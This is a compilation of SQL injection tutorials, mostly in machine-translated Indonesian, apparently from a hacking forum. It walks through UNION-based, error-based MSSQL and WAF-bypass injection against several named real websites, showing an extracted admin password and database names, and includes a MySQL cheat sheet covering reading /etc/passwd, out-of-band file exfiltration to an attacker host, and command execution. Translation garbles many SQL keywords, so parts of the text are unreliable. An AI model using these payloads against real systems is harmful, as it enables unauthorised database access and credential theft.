1771Sekarang Kita Harus Menebak Tabel dan Kolom. Jadi Pertama-tama kita akan Tebak Tables.
1772
1773http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari Login;% 00
1774itu memberi kita ERROR!
1775
1776KESALAHAN:
1777Kesalahan Microsoft JET Database Engine '80040e37'
1778Mesin database Microsoft Jet tidak dapat menemukan tabel input atau query 'login'. Pastikan itu ada dan namanya dieja dengan benar.
1779/dettaglio-news.asp, baris 91
1780itu artinya tabel ini tidak ada. Mari coba yang lain.
1781http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari tabladmin;% 00
1782Masih Sama ERROR !!
1783Namun ketika kami mencoba Tabel ADMIN, Kesalahannya Sudah Hilang.
1784http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari admin;% 00
1785Pada Tabel ADMIN, Kesalahan hilang dan kita dapat melihat Kolom yang Rentan di Halaman Web.
1786
1787Anda dapat melihat 2,3,6 adalah Kolom yang Rentan. Jadi sekarang kita harus Tebak Kolom. Kita akan menempatkan kolom-kolom kita di Kolom-kolom yang Rentan.
1788http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2, admin_id, 4,5,6,7,8 dari admin;% 00
1789Itu Memberi Kita Kesalahan!
1790
1791itu Memberi kami Password = "bEx0Th6
1792Jadi kami akan melakukan hal yang sama untuk situs lain untuk disuntikkan ke dalam basis data.
1793
1794MENGENAI SEMUA INJEKTOR: *
1795
1796
1797Menambahkan Tag HTML di Pertanyaan SQL - Tutorial oleh RAi Jee
1798Tag HTML dapat digunakan untuk banyak kesenangan dalam kueri SQL. Kita Dapat menggunakan Tag HTML untuk Membuat Hasil Penuh Warna di Output. Kadang-kadang kita menyuntikkan Situs dan Kolom yang Rentan ada di Judul atau di Halaman Sumber sehingga kita Juga Dapat Menggunakan Tag HTML Ada untuk Menunjukkan Output pada Halaman.
1799Jadi Kami Akan Mulai Menambahkan Tag HTML Untuk Membuat Output Beberapa Warna Penuh.
1800Berikut ini contohnya. Kami ingin Mencetak Versi dalam Warna MERAH Jadi Berikut adalah TAG HTML kami untuk Menampilkan Versi dalam Warna MERAH.
1801<font color = red>
1802
1803Concat (OUR_HTML_TAG, QUERY_HERE)
1804
1805mari Lihat Hasil. Sebelum Melaksanakan Query First Encode HTML TAG di Hex Value atau Use Single Quote Sebelum dan Sesudah Tag HTML Agar Dapat Dieksekusi
1806
1807http://www.kimclement.com/basiccal/event.php
1808? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi ()), 8,9 - +
1809
1810Dan Anda dapat Lihat Versi dalam warna MERAH. jika kita ingin menggunakan Warna yang Berbeda untuk Setiap Perintah Seperti Menampilkan Versi dalam Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dalam Warna Biru sehingga akan menggunakan Tag HTML yang berbeda untuk setiap Tugas.
1811Lihat Contoh.
1812Concat (Versi Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dengan Warna Biru)
1813Tag HTML Untuk Setiap Tugas:
1814Warna merah: <font color = red>
1815Warna Hijau: <font color = green>
1816Warna Biru: <font color = blue>
1817Jadi Pertanyaan Terakhir Kami Untuk Menampilkan Setiap tugas dalam warna yang berbeda Akan menjadi,
1818Concat (<font color = red>, versi (), <font color = green>, database (), <font color = blue>, pengguna ())
1819Lihat Contoh.
1820http://www.kimclement.com/basiccal/event.php
1821? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi (), 0x3a,' <font color = green> ', database (), 0x3a, '<font color = blue>', pengguna ()), 8,9 - +
1822
1823Dan Lihat gambar semua Tugas Lengkap. Dengan cara ini Anda Juga Dapat Menampilkan Tabel dan Kolom dalam Warna yang berbeda.
1824Setelah Menampilkan Perintah SQLi dalam Berbagai Warna.
1825Sekarang, mari kita lihat bagaimana kita bisa menampilkan data ketika kolom rentan kita di halaman sumber atau di TiTLE menggunakan HTML TAGS.
1826Ketika Kolom Rentan ada di Halaman Sumber.
1827Concat (STARTING_HTML_TAG, OUR_QUERY, ENDING_HTML_TAG)
1828jadi kami akan menggunakan TAG HTML ini untuk Menampilkan Data pada Halaman jika Kolom Rawan Kami ada di halaman Sumber.
1829
1830TAG HTML: Concat (<font size = "8" color = "red">, Versi (), </ font>)
1831
1832dan kadang-kadang Kolom Rentan kami ada di Judul sehingga dalam hal ini kami akan menggunakan Tag HTML ini untuk Mencetak Data di Halaman Web
1833
1834TAG HTML: Concat (</ title>, Version ())
1835
1836gunakan Tag HTML ini setelah pengkodean dalam Hex Value atau PUT Single Quote sebelum dan sesudah Tag HTML untuk membuat Query Executable.
1837
1838©
1839
1840When you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST.
1841
1842SQLi Waf Behaviours
1843
1844union select 1,2,3,4-- - [<---WAF
1845
1846/*!union*/ select 1,2,3,4-- - [<--- No WAF
1847
1848/*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
1849
1850/*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
1851
1852/*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
1853
1854/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
1855
1856/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
1857
1858/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
1859
1860/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
1861
1862/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
1863
1864/*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
1865
1866-h
1867
1868Tools of Online Crytography
1869
1870HEADER AND POST DATA SQLI AND LOOKING DEEP INTO VULNERABLE SUCH AS XSS
1871https://www.hurl.it/
1872http://requestmaker.com/
1873http://headers.cloxy.net/
1874http://www.rexswain.com/
1875
1876http://www.cryptool-online.org/index.php?option=com_cto&view=tool&Itemid=139&lang=en
1877Base 64
1878enigmaco
1879http://www.swingnote.com/tools/texttohex.php
1880http://des.online-domain-tools.com/
1881
1882http://www.verexif.com/en/
1883http://www.extractmetadata.com/
1884http://metapicz.com/#landing
1885
1886https://www.google.co.kr/search?biw=1280&bih=617&q=cryptography+converter+online&oq=Cryptography+convert&gs_l=serp.1.1.0j0i22i30.2581.5076.0.7002.13.13.0.0.0.0.143.1345.5j8.13.0....0...1c.1.64.serp..0.13.1344.BK2uvc9iKTo
1887
1888Gematria Primus count: http://codeseekah.com/cicada/count.html
1889http://www.unit-conversion.info/texttools/hexadecimal/
1890XOR: http://md5decrypt.net/en/Xor/
1891http://www.braingle.com/brainteasers/codes/index.php
1892ASCII HEX DEC BIN converter: http://home.paulschou.net/tools/xlate/
1893
1894ASCI HEX DEC OCTAL converter: http://redir.dasumo.com/hex/
1895
1896Steganography software: http://www.jjtc.com/Steganography/tools.html
1897https://www.base64-image.de/
1898http://b64.io/
1899https://xcode.darkbyte.ru/
1900http://manytools.org/hacker-tools/steganography-encode-text-into-image/
1901http://decodebase64.com/
1902https://convertio.co/txt-jpg/
1903Anagram solver: http://www.ssynth.co.uk/~gay/anagram.html
1904
1905Rumkin old ciphers: http://rumkin.com/tools/cipher/index.php
1906PGP https://www.igolder.com/pgp/encryption/
1907http://www.hanewin.net/encrypt/PGdecode.htm
1908Exif:
1909http://www.garykessler.net/library/fsc_stego.html
1910AES, Salsa20, and Twofish
1911http://www.gematrix.org/
1912https://infotomb.com/m/welcome
1913http://morsecode.scphillips.com/translator.html
1914http://www.online-toolz.com/tools/text-encryption-decryption.php
1915http://www.unit-conversion.info/texttools/morse-code/
1916https://futureboy.us/stegano/
1917
1918-h
1919
1920BYPASSING ERROR
1921
1922Hmmm kita akan mulai dengan Injecting normal kami. Kami menemukan situs dari Google saat menyuntik dan rentan terhadap injeksi SQL.
1923Pertama kita akan menghitung jumlah total kolom.
1924
1925http://www.TARGET.com/product.php?id=35 pesanan sebesar 5-- -
1926
1927Tidak Ada Kesalahan!
1928
1929http://www.TARGET.com/product.php?id=35 pesanan sebesar 6-- -
1930
1931Sekali lagi Situs dimuat Biasanya dan Tidak Ada Kesalahan!
1932
1933http://www.TARGET.com/product.php?id=35 pesanan sebesar 7-- -
1934
1935Sekarang Kita Punya Kesalahan di sini
1936
1937Kolom tidak dikenal '7' di 'pesanan klausa'
1938
1939Berarti Ada Total 6 Jumlah Kolom.
1940
1941Memungkinkan Jalankan UNION BASED Query kami.
1942
1943http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT 1,2,3,4,5,6-- -
1944
1945Setelah mengeksekusi UNION BASED Query, kami Punya Kesalahan.
1946
1947Kesalahan fatal: Ukuran memori yang diizinkan sebesar 536870912 byte habis (mencoba mengalokasikan 534511572 byte) di /home/XXXX/public_html/cat_ver_producto.php pada baris 166
1948
1949Masalahnya adalah dengan Memori PHP Server. Kami Akan menggunakan Nilai NULL daripada menempatkan Kolom Nomor di sana untuk Memotong Server Penggunaan Memori PHP untuk Query SQL kami.
1950
1951Setelah Menempatkan nilai NULL, Kueri Kita Akan Jadi.
1952http://www.TARGET.com/product.php?id=35 dan 0 Union SELECT null, null, null, null, null, null-- -
1953
1954Sekarang ERROR GONE !!
1955
1956Karena kami menggunakan Null Values, kami tidak tahu Kolom mana yang Rentan. Jadi untuk menemukan Kolom yang Rentan, Kita Berikan Perintah Versi () satu per satu di setiap Kolom sampai Memberi Kita Hasil Apapun.
1957
1958http://www.TARGET.com/product.php?id=35 dan 0 versi PILIH Union (), null, null, null, null, null-- -
1959
1960Setelah mengecek Kolom pertama selanjutnya Periksa Yang Lain dan kemudian Lain lagi sampai kami Mendapat Hasilnya. Dengan Cara Ini kami Akan Memeriksa Semua Kolom dan Akan Menemukan Kolom Yang Rentan.
1961
1962Ketika kami akan menemukan Kolom yang Rentan kami, maka kami dapat menempatkan Permintaan kami untuk Tabel dan Kolom di Kolom yang rentan itu.
1963jika Anda Tidak Tahu Bagaimana Mendapatkan Tabel Dan Kolom Kemudian.
1964
1965-h
1966
1967
1968Memotong Mix of Collations yang ilegal - Tutorial
1969Dengan suntik pikiran
1970Hanya 4 no0b seperti saya
1971Dalam Tutorial ini Anda Akan Mempelajari Cara Melepaskan Campuran Kolasi ilegal.
1972Mari kita mulai dengan injeksi SQL Reguler kami.
1973Target kami.
1974http://www.Site.com/detail.php?id=31
1975Pertama kita harus Hitung Berapa Banyak Kolom yang dimilikinya.
1976http://www.Site.com/detail.php?id=31 pesanan oleh 1-- -
1977Tidak Ada Kesalahan!
1978http://www.Site.com/detail.php?id=31 pesanan oleh 4-- -
1979Tidak Ada Kesalahan!
1980http://www.Site.com/detail.php?id=31 pesanan sebesar 6-- -
1981Kami Punya Kesalahan Di Sini.
1982Kolom Tidak Diketahui '6' di 'pesanan oleh'
1983Memungkinkan Mengurangi Jumlah Kolom.
1984http://www.Site.com/detail.php?id=31 pesanan sebesar 5-- -
1985Tidak Ada Kesalahan!
1986Ada 5 Kolom jadi ayo Siapkan UNION SELECT Command dan Cari Kolom yang Rentan.
1987http://www.Site.com/detail.php?id=31 dan 0 Union Select 1,2,3,4,5-- -
1988Kami Punya 2 dan 3.
1989Mari mencoba untuk Dapatkan The Tables.
1990http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, concat (table_name), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
1991Ooops !! kami mendapat Kesalahan Di Sini.
1992Campuran ilegal dari kolasi untuk operasi 'UNION'
1993Berikut Beberapa Metode yang dapat kita gunakan untuk Melewatkan campuran ilegal dari pengumpulan untuk operasi 'UNION'
1994.1 Menggunakan UNCOMPRESS (COMPRESS (our_query_here))
1995http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, uncompress (kompres (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
1996DIKECEPATAN !!
1997.2 Menggunakan UNHEX (HEX (our_query_here))
1998http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, unhex (hex (concat (table_name))), 3,4,5 dari information_schema.tables di mana table_schema = database () - - -
1999DIKECEPATAN !!
2000.3 Menggunakan CAST ()
2001http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, cast (table_name sebagai binary), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
2002DIKECEPATAN !!
2003.4 Menggunakan CONVERT ()
2004http://www.Site.com/detail.php?id=31 dan 0 Union Select 1, konversikan (table_name menggunakan ascii), 3,4,5 dari information_schema.tables di mana table_schema = database () - -
2005DIKECEPATAN !!
2006BEBERAPA METODE ADVANCE untuk CONVERT ()
2007Dalam CONVERT () Fungsi jika ascii tidak berfungsi maka kita dapat menggunakan Fungsi ini sebagai ganti ascii.
2008ujis
2009ucs2
2010tis620
2011swe7
2012sjis
2013macroman
2014macce
2015latin7
2016latin5
2017latin2
2018koi8u
2019koi8r
2020keybcs2
2021hp8
2022geostd8
2023gbk
2024gb2132
2025armscii8
2026ascii
2027cp1250
2028big5
2029cp1251
2030cp1256
2031cp1257
2032cp850
2033cp852
2034cp866
2035cp932
2036dec8
2037euckr
2038latin1
2039Semoga ini akan membantu Anda di masa depan
2040
2041Terima kasih untuk saudara tutorialnya: *
2042
2043-h
2044
2045
2046filtered Requested
2047# tables #
2048group_concat(/*!table_name*/)
2049+/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -
2050
2051or
2052
2053/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -
2054
2055or
2056
2057/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
2058
2059Union Select bypass
2060
2061&id=10 %26%26 NULL union/**/DistinctRow select 1,2-- -
2062&id=@ Or 1<0 union/**/DistinctRow select 1,2-- -
2063&id=@<0union/**/DistinctRow select 1,2-- -
2064
2065QUERY RESUME ? :D
2066Version:
2067SELECT VERSION()
2068SELECT @@version
2069SELECT @@version_comment
2070SELECT @@version_compile_machine
2071SELECT @@version_compile_os
2072Directories:
2073SELECT @@basedir
2074SELECT @@tmpdir
2075SELECT @@datadir
2076Users:
2077SELECT USER()
2078SELECT SYSTEM_USER()
2079SELECT SESSION_USER()
2080SELECT CURRENT_USER()
2081Current Database:
2082SELECT DATABASE()
2083Concatenation:
2084SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
2085SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Retu
2086Multi-Concat:
2087#Stacks the row "foo" from the table "bar" together, using the separa
2088#Note: This operation can by default only grab 1024 bytes, and do no
2089#The 1024 byte limit is stored in the @@group_concat_max_len variabl
2090SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar
2091Better-Concat:
2092#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROU
2093#Which therefor allows you to concat strings together up to the @@ma
2094#instead of @@group_concat_max_len. The default value for @@max_allo
2095#1048576 bytes, instead of @@group_concat_max_len's 1024.
2096SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name
2097Change Collation:
2098SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from
2099SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
2100Wildcards in SELECT(s):
2101SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) st
2102SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) en
2103Regular Expression in SELECT(s):
2104#Returns all columns matching the regular expression.
2105SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
2106SELECT Without Dublicates:
2107SELECT DISTINCT foo FROM bar
2108Counting Columns:
2109SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from t
2110Get Amount of MySQL Users:
2111SELECT COUNT(user) FROM mysql.user
2112Get MySQL Users:
2113SELECT user FROM mysql.user
2114Get MySQL User Privileges:
2115SELECT grantee,privilege_type,is_grantable FROM information_schema.us
2116Get MySQL User Privileges on Different Databases:
2117SELECT grantee,table_schema,privilege_type FROM information_schema.sc
2118Get MySQL User Privileges on Different Columns:
2119SELECT table_schema,table_name,column_name,privilege_type FROM infor
2120Get MySQL User Credentials & Privileges:
2121SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Upd
2122Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
2123File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_p
2124Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_
2125Repl_client_priv) FROM mysql.user
2126Get MySQL DBA Accounts:
2127SELECT grantee,privilege_type,is_grantable FROM information_schema.us
2128SELECT host,user FROM mysql.user WHERE Super_priv='Y'
2129Get Databases:
2130SELECT schema_name FROM information_schema.schemata
2131SELECT DISTINCT db FROM mysql.db
2132SELECT DISTINCT table_schema FROM information_schema.columns
2133SELECT DISTINCT table_schema FROM information_schema.tables
2134Get Databases & Tables:
2135SELECT table_schema,table_name FROM information_schema.tables
2136SELECT DISTINCT table_schema,table_name FROM information_schema.colu
2137Get Databases, Tables & Columns:
2138SELECT table_schema,table_name,column_name FROM information_schema.c
2139SELECT A Certain Row:
2140SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
2141SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
2142...
2143SELECT foo FROM bar LIMIT N,1; #Returns row N.
2144Benchmark (Heavy Query):
2145#Performs an MD5 calculation of "1" for 10000 times.
2146SELECT BENCHMARK(10000,MD5(1))
2147Sleep:
2148#Works only in MySQL 5 and above.
2149#Sleeps for 5 seconds, returns 0 on success.
2150SELECT SLEEP(5)
2151Conversion (Casting):
2152SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
2153SELECT CAST('65' AS CHAR); #Returns: A
2154Substring:
2155SELECT SUBSTR('foobar',1,3); #Returns: foo
2156Hexadecimal Evasion:
2157SELECT 0x41424344; #Returns: ABCD
2158SELECT 0x2E; #Returns: .
2159SELECT 0x3A; #Returns: :
2160ASCII to Number:
2161SELECT ASCII('A'); #Returns: 65
2162Number to ASCII:
2163SELECT CHAR(65); #Returns: A
2164SELECT CHAR(89); #Returns: Y
2165SELECT CHAR(116,101,115,116); #Returns: test
2166If Statement:
2167#Returns 1 if the database is running MySQL 5.
2168SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
2169#Returns 1 if the database is running MySQL 4.
2170SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
2171Case Statement:
2172#Returns 1 if the database is running MySQL 5.
2173SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
2174#Returns 1 if the database is running MySQL 4.
2175SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
2176Read File(s):
2177#Requires you to have the File_priv in mysql.user. On error this stat
2178SELECT LOAD_FILE('/etc/passwd')
2179Write File(s):
2180#You must use quotes on the filename!
2181SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
2182SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hel
2183Logical Operator(s):
2184AND, &&; #The AND operator have && as an alternative syntax.
2185OR, ||; #The OR operator have || as an alternative syntax.
2186NOT, !; #The NOT operator have ! as an alternative syntax.
2187XOR; #The XOR operator got no alternative syntax.
2188Fuzzy Code Comment:
2189#Code within /*! are getting executed by MySQL. Additional /*! can be
2190SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
2191Comments:
2192SELECT foo, bar FROM foo.bar-- Single line comment
2193SELECT foo, bar FROM foo.bar/* Multi line comment */
2194SELECT foo, bar FROM foo.bar# Single line comment
2195SELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-
2196A few evasions/methods to use between your MySQL statements:
2197CR (%0D); #Carrier Return.
2198LF (%0A); #Line Feed.
2199Tab (%09); #The Tab-key.
2200Space (%20); #Most commonly used. You know what a space is.
2201Multiline Comment (/**/); #Well, as the name says.
2202Fuzzy Comment (/*!); #Be sure to end your query with (*/)
2203Parenthesis, ( and ); #Can also be used as separators when used right
2204Parenthesis instead of space:
2205#As said two lines above, the use of parenthesis can be used as a sep
2206SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
2207Auto-Casting to Right Collation:
2208SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s)
2209DNS Requests (OOB (Out-Of-Band)):
2210#For more information check this.
2211SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_a
2212Command Execution:
2213#If you're on a MySQL 4.X server, it's possible to execute OS comman
2214#It can be done if you're able to upload a shared object into /usr/
2215#The file extension is .so, and it must contain an "User Defined Fun
2216#Get raptor_udf.c, it's the source-code for just that feature.
2217#Remember to compile it for the right CPU Architecture.
2218#The CPU architecture can be resolved by this query:
2219SELECT @@version_machine;
2220<blockquote>A couple of useful blind queries to fingerprint the data
2221All of these return either True or False, as in, you either get a res
2222SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53;
2223SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52
2224Running as root:
2225SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=U
2226Got File_priv:
2227SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user
2228(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
2229(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
2230(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
2231LIMIT 0,1)=CHAR(89),1,0)=1
2232Got Super_priv (Are we DBA):
2233SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql
2234(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
2235(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
2236(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
2237LIMIT 0,1)=CHAR(89),1,0)=1
2238Can MySQL Sleep:
2239#This query will return True and should take above 1 second to execut
2240SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
2241Can MySQL Benchmark:
2242SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
2243Are we on *NIX:
2244SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
2245Are we on Windows:
2246SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=
2247Do a certain column exist:
2248SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information
2249Do a certain table exist:
2250SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
2251SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
2252Do a certain database exist:
2253SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
2254SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
2255SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information
2256SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db
2257from:h.ackack(dot)net
2258
2259Credits to owner :*
2260thanks
2261
2262INJEKSI MSSQL MENGGUNAKAN KONVERSI
2263
2264Kita mendapat target dan mari kita periksa apakah itu Rentan untuk disuntikkan. Jadi kita akan Jalankan URL dengan Menambahkan Kutipan Tunggal "'" di Akhir Jika Parameter Target.
2265http://www.Vuln-Site.com/authorprofile.asp?id=46 '
2266Ini Memberi Kita Kesalahan
2267
2268KESALAHAN:
2269Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e14'
2270[Microsoft] [ODBC SQL Server Driver] [SQL Server] Tanda kutip uncomposed setelah string karakter ''.
2271/authorprofile.asp, baris 10
2272
2273Situs Target kami adalah Rentan. Seperti kita Suntik dengan Serangan Konversikan Jadi kita tidak perlu Pergi Untuk Menghitung Jumlah Kolom Total. Kami akan langsung mengeksekusi Perintah kami dengan Konversi.
2274Mari Periksa Versi.
2275http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, @@ version) -
2276Setelah Melaksanakan Permintaan Kami Mendapat Versi.
2277
2278Berikut ini adalah Versi: Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak cipta (c) Microsoft Corporation Web Edition (64-bit) pada Windows NT 6.1 <X64> (Build 7601: Paket Layanan 1 )
2279Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
2280[Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal saat mengkonversi nilai nvarchar 'Microsoft SQL Server 2012 - 11.0.5582.0 (X64) Feb 27 2015 18:10:15 Hak Cipta (c) Microsoft Corporation Web Edition (64 -bit) pada Windows NT 6.1 <X64> (Build 7601: Service Pack 1) 'ke tipe data int.
2281/authorprofile.asp, baris 10
2282
2283Sekarang, mari kita periksa nama database saat ini.
2284http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, db_name ()) -
2285Dan kami sudah mendapat nama database saat ini.
2286
2287Ini adalah Nama Database Saat Ini: museindia
2288Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
2289[Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'museindia' ke tipe data int.
2290/authorprofile.asp, baris 10
2291
2292Seperti yang telah kita dapatkan Versi dan nama Database. Sekarang, mari kita pindah ke Getting The Tables.
2293Ini adalah pertanyaan kami untuk mendapatkan tabel.
2294http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables)) - +
2295Setelah Melaksanakan Kueri, Kita Mendapat Nama Tabel Pertama.
2296
2297Nama tabel: tentang
2298Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
2299[Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'about' ke int tipe data.
2300/authorprofile.asp, baris 10
2301Untuk Mendapatkan Tabel Lain dari Database, kita akan menambahkan nama Tabel Sebelumnya Terlampir Dengan Kutipan Tunggal dengan Tanda Kecil.
2302Sebagai contoh:
2303dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('OUR_PREVIOUS_TABLE_NAME_1', 'OUR_PREVIOUS_TABLE_NAME_2'))) - +
2304Jadi Mari Periksa Tabel Lainnya dari Basis Data.
2305http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('about'))) - +
2306Dan Kami Punya Nama Meja Berikutnya.
2307
2308Nama Tabel Berikutnya: aucon
2309Penyedia Microsoft OLE DB untuk ODBC Drivers error '80040e07'
2310[Microsoft] [ODBC SQL Server Driver] [SQL Server] Konversi gagal ketika mengkonversi nilai nvarchar 'aucon' ke tipe data int.
2311/authorprofile.asp, baris 10
2312Dengan cara ini kita akan Terus Mendapatkan tabel Lainnya sampai mendapatkan Tabel yang Diperlukan.
2313Di sini kita Mendapat nama Tabel: anggota
2314Sekarang mari Dapatkan nama Kolom dari Tabel ini.
2315http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members')) - +
2316kami telah mendapat nama Kolom Pertama.
2317
2318Ini adalah First Column Name: memberid
2319Mari mencoba mendapatkan Kolom lainnya seperti yang kita lakukan untuk mendapatkan tabel lain dari database.
2320
2321http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'members' dan column_name tidak di ('memberid') )) - +
2322Jadi Setelah Mendapatkan nama Kolom Bagian Terakhir adalah Untuk Mengekstrak Data dari Kolom.
2323Ini akan menjadi Pertanyaan Akhir Kita!
2324http://www.Vuln-Site.com/authorprofile.asp?id=46 dan 1 = konversi (int, (pilih top 1 OUR_COLUMN_NAME _DI SINI dari OUR_TABLE_NAME_HERE)) - +
2325Kueri ini akan Mencetak Data dari Kolom di WebPage.
2326
2327-h
2328
2329Mem-bypass Login Panel dengan SQL Queries
2330
2331http://trentglobal.com/admin
2332
2333Kita dapat menggunakan Live HTTP Headers atau Hackbar untuk Post Parameters Injection jadi saya akan Menggunakan Hackbar Untuk Proses ini.
2334Sekarang Mari Sisipkan Beberapa Teks dalam kotak nama pengguna dan kata sandi. Setelah Memasukkan Teks Klik pada Tombol LOGIN. Kemudian Aktifkan Data Posting di Hackbar untuk Pelaksanaan Parameter Posting Kita.
2335
2336Sekarang Klik LOAD URL Button di Hackbar untuk mendapatkan Parameter POST dalam kotak POST DATA di Hackbar Addon. Di sana kami akan memberikan pertanyaan SQL Injection.
2337
2338Ini memberi kami Nama Pengguna dan Kata Sandi yang tidak valid tetapi Anda dapat Melihat Data Pos di Addon Peretasan.
2339Berikut adalah Parameter Posting Kami uname = harhar & pwd = 123456 & log_submit = Login
2340ayo tambahkan Single Quote setelah uname = harhar 'untuk memeriksa kerentanan SQLi. Dan kemudian Execute the Query.
2341
